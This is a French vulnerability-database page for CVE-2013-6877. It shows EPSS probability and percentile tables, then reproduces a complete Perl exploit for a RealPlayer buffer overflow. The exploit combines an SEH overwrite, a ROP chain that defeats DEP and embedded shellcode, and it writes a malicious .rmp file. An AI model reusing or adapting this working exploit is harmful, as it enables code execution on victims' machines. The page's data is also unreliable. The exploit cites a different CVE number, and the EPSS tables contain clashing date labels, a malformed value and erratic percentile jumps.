CVE-2013-6877 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	6.31%	–	–
2022-04-03	–	–	6.31%	–	–
2022-09-11	–	–	6.31%	–	–
2023-01-01	–	–	6.31%	–	–
2023-01-15	–	–	6.31%	–	–
2023-03-12	–	–	–	87.27%	–
2023-06-18	–	–	–	84.95%	–
2023-08-06	–	–	–	83.31%	–
2023-12-24	–	–	–	75.5%	–
2024-06-02	–	–	–	75.5%	–
2024-06-02	–	–	–	75.5%	–
2024-12-22	–	–	–	65.41%	–
2025-01-19	–	–	–	65.41%	–
2025-03-18	–	–	–	–	37.85%
2025-03-18	–	–	–	–	37.85,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	78%
2022-04-03	9%
2022-09-11	91%
2023-01-01	9%
2023-01-15	91%
2023-03-12	98%
2023-06-18	98%
2023-08-06	98%
2023-12-24	98%
2024-06-02	98%
2024-06-02	98%
2024-12-22	98%
2025-01-19	98%
2025-03-18	97%
2025-03-18	97%

#!/usr/bin/perl #-----------------------------------------------------------------------------# # Exploit Title: RealNetworks RealPlayer Version Attribute Buffer Overflow # # Date: Dec 20 2013 # # Exploit Author: Gabor Seljan # # Vendor Homepage: http://www.real.com # # Software Link: http://www.oldapps.com/real.php?old_real_player=12814 # # Version: 16.0.3.51, 16.0.2.32 # # Tested on: Windows XP SP2/SP3 (DEP Bypass) # # CVE: CVE-2013-7260 # #-----------------------------------------------------------------------------# use strict; use warnings; my $filename = "sploit.rmp"; my $junk1 = "\x41" x 44; # Offset to ROP + Shellcode my $junk2 = "\x43" x 1858; # Offset to SEH when opening via click (2540) my $junk3 = "\x44" x 11052; # Offset to SEH when opening via menu (13600) my $nSEH = "\xeb\x06\x90\x90"; # Overwrite next SEH with JMP (6 bytes) my $SEH = pack('V',0x5acceecd); # ADD ESP,428 # RETN 10 [mswmdm.dll] my $junk4 = "\x45" x 17000; # Generate exception my $rop_gadgets = ""; $rop_gadgets .= pack('V',0x77c1c552); # RETN (ROP NOP) [msvcrt.dll] $rop_gadgets .= "\x42" x 16; # JUNK $rop_gadgets .= pack('V',0x77c21d16); # POP EAX # RETN [msvcrt.dll] $rop_gadgets .= pack('V',0x77c11120); # &VirtualProtect() [IAT msvcrt.dll] $rop_gadgets .= pack('V',0x77c1bb36); # POP EBP # RETN [msvcrt.dll] $rop_gadgets .= pack('V',0x77c20497); # skip 4 bytes [msvcrt.dll] $rop_gadgets .= pack('V',0x77c2362c); # POP EBX # RETN [msvcrt.dll] $rop_gadgets .= pack('V',0x0000095c); # 0x0000095C-> EBX $rop_gadgets .= pack('V',0x77c4cb29); # POP EDX # RETN [msvcrt.dll] $rop_gadgets .= pack('V',0x00000040); # 0x00000040-> EDX $rop_gadgets .= pack('V',0x77c1f519); # POP ECX # RETN [msvcrt.dll] $rop_gadgets .= pack('V',0x77C5D305); # &Writable location [msvcrt.dll] $rop_gadgets .= pack('V',0x77c23b47); # POP EDI # RETN [msvcrt.dll] $rop_gadgets .= pack('V',0x77c47a42); # RETN (ROP NOP) [msvcrt.dll] $rop_gadgets .= pack('V',0x77c2ed13); # POP ESI # RETN [msvcrt.dll] $rop_gadgets .= pack('V',0x77c2aacc); # JMP [EAX] [msvcrt.dll] $rop_gadgets .= pack('V',0x77c12df9); # PUSHAD # RETN [msvcrt.dll] $rop_gadgets .= pack('V',0x77c35459); # PUSH ESP # RETN [msvcrt.dll] my $nops = "\x90" x 16; # msfpayload windows/exec CMD=calc.exe my $shellcode = "\xb8\x2f\x9e\xa9\x6f\xdb\xdc\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1". "\x33\x83\xea\xfc\x31\x42\x0e\x03\x6d\x90\x4b\x9a\x8d\x44\x02\x65\x6d\x95\x75". "\xef\x88\xa4\xa7\x8b\xd9\x95\x77\xdf\x8f\x15\xf3\x8d\x3b\xad\x71\x1a\x4c\x06". "\x3f\x7c\x63\x97\xf1\x40\x2f\x5b\x93\x3c\x2d\x88\x73\x7c\xfe\xdd\x72\xb9\xe2". "\x2e\x26\x12\x69\x9c\xd7\x17\x2f\x1d\xd9\xf7\x24\x1d\xa1\x72\xfa\xea\x1b\x7c". "\x2a\x42\x17\x36\xd2\xe8\x7f\xe7\xe3\x3d\x9c\xdb\xaa\x4a\x57\xaf\x2d\x9b\xa9". "\x50\x1c\xe3\x66\x6f\x91\xee\x77\xb7\x15\x11\x02\xc3\x66\xac\x15\x10\x15\x6a". "\x93\x85\xbd\xf9\x03\x6e\x3c\x2d\xd5\xe5\x32\x9a\x91\xa2\x56\x1d\x75\xd9\x62". "\x96\x78\x0e\xe3\xec\x5e\x8a\xa8\xb7\xff\x8b\x14\x19\xff\xcc\xf0\xc6\xa5\x87". "\x12\x12\xdf\xc5\x78\xe5\x6d\x70\xc5\xe5\x6d\x7b\x65\x8e\x5c\xf0\xea\xc9\x60". "\xd3\x4f\x25\x2b\x7e\xf9\xae\xf2\xea\xb8\xb2\x04\xc1\xfe\xca\x86\xe0\x7e\x29". "\x96\x80\x7b\x75\x10\x78\xf1\xe6\xf5\x7e\xa6\x07\xdc\x1c\x29\x94\xbc\xcc\xcc". "\x1c\x26\x11\x7f\x72\x75\x0a\xf5\x98\x79\x2f\xb1\x76\x30\xe0\x3f\x49\x74\x0d". "\x93\x42\x0c\xbf\x92\xb8\x4e\xba\x4a\xbe\x99\x71\x09\xf8\x14\xa9\x96\x91\x7e". "\x7c\x77\x27\x25\x7b\x38\xd6\x9b\x33\xd5\xb5\x31\xe1\x66\xb7\xb4\x80\xd2\xfd". "\x2d\xb6\x24\x43\x67\x90\xb2\xbb\x47\x40\x73\x3c\x3d\x97\x1c\x29\xd0\xf9\x70". "\x4b\x78\x35\x9f\x4f\x2c\xb3\x7a\x05\x87\xf6\xd3\xeb\x48\xb0\x89\xf7\xe2\x41". "\x1d\x8d\xb9\x15\x04\x2b\xfc\xa8\x3a\xd4\x37\x7d\x19\xf8\x7e\x08\xeb\x21\xe1". "\x7b\x71\x75\x05\x3f\xbb\x66\x0c\x93\x3c\x8d\x98\x69\xf9\x7c\x27\x70\x48\x23". "\xd4\x84\xf5\xbe\x72\x4e\xa8\x9b\x73\x25\x41\x81\xe0\x04\x40\x78\x79\x43\x37". "\x7f\x2c\x96\xb9\xbf\x74\x77\x1d\x0d\x20\xfc\xb4\x91\xa9\xb8\x97\x4b\x18\xe3". "\x49\x7d\x76\x3d\x47\xba\xb5\x14\x99\xb1\x24\x83\xe2\x10\xfd\x67\x7a\x4f\x35". "\x9f\xb6\xb3\x7d\x75\x32\xe2\x4a\x86\xd5\xb2\xb7\xb0\x77\x11\xe0\x12\xd1\xeb". "\x1c\x90\x7f\x42\x7c\x2d\x92\x72\x2f\x7a\x13\xc0\xd6\x76\x15\x99\x70\x14\x8d". "\x4e\xbe\x96\xb7\x85\xff\xc1\xe1\x2d\xb0\x71\x1b\xd5\x1d\x02\xe3\x04\x7b\x05". "\xb2\x73\x03\xf8\xb4\x7e\x1a\xfd\xb9\x37\x42\x4b\xb3\x39\xf9\x25\xb5\xa8\x3d". "\xba\x92\x40\x4a\xb6\x24\x79\x27\x0c\xbb\x88\xfc\x3c\x35\x97\x4f\x9b\x47\x78". "\x15\x41\x91\x66\xb1\x74\x0d\xbf\xb8\x90\x28\xd4\x2a\xf5\x3f\x43\x93\x98\x2c". "\x1c\xa9\x2f\x48\x9f\x67\x49\x3b\xd6"; my $evil = $rop_gadgets.$nops.$shellcode; my $sploit = $junk1.$evil.$junk2.$nSEH.$SEH.$junk3.$nSEH.$SEH.$junk4; open(FILE, ">$filename") || die "[-]Error:\n$!\n"; print FILE "<?xml version=\"$sploit\"?>"; close(FILE); print "Exploit file created successfully [$filename]!\n";